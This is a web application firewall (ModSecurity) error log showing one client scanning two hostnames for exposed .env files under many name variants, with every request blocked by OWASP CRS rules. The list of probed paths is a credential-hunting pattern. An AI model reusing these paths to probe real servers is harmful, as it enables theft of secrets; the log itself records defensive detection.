[Sun Oct 25 08:01:07.789367 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3vg-s4DYbOWQ864oPKzwAAAAk"]
[Sun Oct 25 08:01:07.789687 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3vg-s4DYbOWQ864oPKzwAAAAk"]
[Sun Oct 25 08:01:07.944685 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3vg9y-_GHm1dX7tKN4NwAAABA"]
[Sun Oct 25 08:01:07.944921 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3vg9y-_GHm1dX7tKN4NwAAABA"]
[Sun Oct 25 08:01:07.945244 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3vg9y-_GHm1dX7tKN4NwAAABA"]
[Sun Oct 25 08:01:08.068022 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3vhOs4DYbOWQ864oPK0AAAAAk"]
[Sun Oct 25 08:01:08.068240 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3vhOs4DYbOWQ864oPK0AAAAAk"]
[Sun Oct 25 08:01:08.068558 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3vhOs4DYbOWQ864oPK0AAAAAk"]
[Sun Oct 25 08:01:08.190846 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3vhNy-_GHm1dX7tKN4OAAAABA"]
[Sun Oct 25 08:01:08.191088 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3vhNy-_GHm1dX7tKN4OAAAABA"]
[Sun Oct 25 08:01:08.191386 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3vhNy-_GHm1dX7tKN4OAAAABA"]
[Sun Oct 25 08:01:08.289299 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3vhOs4DYbOWQ864oPK0QAAAAk"]
[Sun Oct 25 08:01:08.289486 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3vhOs4DYbOWQ864oPK0QAAAAk"]
[Sun Oct 25 08:01:08.289774 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3vhOs4DYbOWQ864oPK0QAAAAk"]
[Sun Oct 25 08:01:08.442430 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3vhNy-_GHm1dX7tKN4OQAAABA"]
[Sun Oct 25 08:01:08.442690 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3vhNy-_GHm1dX7tKN4OQAAABA"]
[Sun Oct 25 08:01:08.442996 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3vhNy-_GHm1dX7tKN4OQAAABA"]
[Sun Oct 25 08:01:08.520083 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3vhOs4DYbOWQ864oPK0gAAAAk"]
[Sun Oct 25 08:01:08.520241 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3vhOs4DYbOWQ864oPK0gAAAAk"]
[Sun Oct 25 08:01:08.520555 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3vhOs4DYbOWQ864oPK0gAAAAk"]
[Sun Oct 25 08:01:08.706711 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3vhNy-_GHm1dX7tKN4OgAAABA"]
[Sun Oct 25 08:01:08.707003 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3vhNy-_GHm1dX7tKN4OgAAABA"]
[Sun Oct 25 08:01:08.707327 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3vhNy-_GHm1dX7tKN4OgAAABA"]
[Sun Oct 25 08:01:08.740488 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3vhOs4DYbOWQ864oPK0wAAAAk"]
[Sun Oct 25 08:01:08.740704 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3vhOs4DYbOWQ864oPK0wAAAAk"]
[Sun Oct 25 08:01:08.740986 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3vhOs4DYbOWQ864oPK0wAAAAk"]
[Sun Oct 25 08:01:08.918691 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at3vhNy-_GHm1dX7tKN4OwAAABA"]
[Sun Oct 25 08:01:08.918937 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at3vhNy-_GHm1dX7tKN4OwAAABA"]
[Sun Oct 25 08:01:08.919221 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at3vhNy-_GHm1dX7tKN4OwAAABA"]
[Sun Oct 25 08:01:09.010318 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3vhes4DYbOWQ864oPK1AAAAAk"]
[Sun Oct 25 08:01:09.010586 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3vhes4DYbOWQ864oPK1AAAAAk"]
[Sun Oct 25 08:01:09.010928 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3vhes4DYbOWQ864oPK1AAAAAk"]
[Sun Oct 25 08:01:09.151495 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at3vhdy-_GHm1dX7tKN4PAAAABA"]
[Sun Oct 25 08:01:09.151774 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at3vhdy-_GHm1dX7tKN4PAAAABA"]
[Sun Oct 25 08:01:09.152127 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at3vhdy-_GHm1dX7tKN4PAAAABA"]
[Sun Oct 25 08:01:09.236566 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3vhes4DYbOWQ864oPK1QAAAAk"]
[Sun Oct 25 08:01:09.236803 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3vhes4DYbOWQ864oPK1QAAAAk"]
[Sun Oct 25 08:01:09.237136 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3vhes4DYbOWQ864oPK1QAAAAk"]
[Sun Oct 25 08:01:09.373028 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at3vhdy-_GHm1dX7tKN4PQAAABA"]
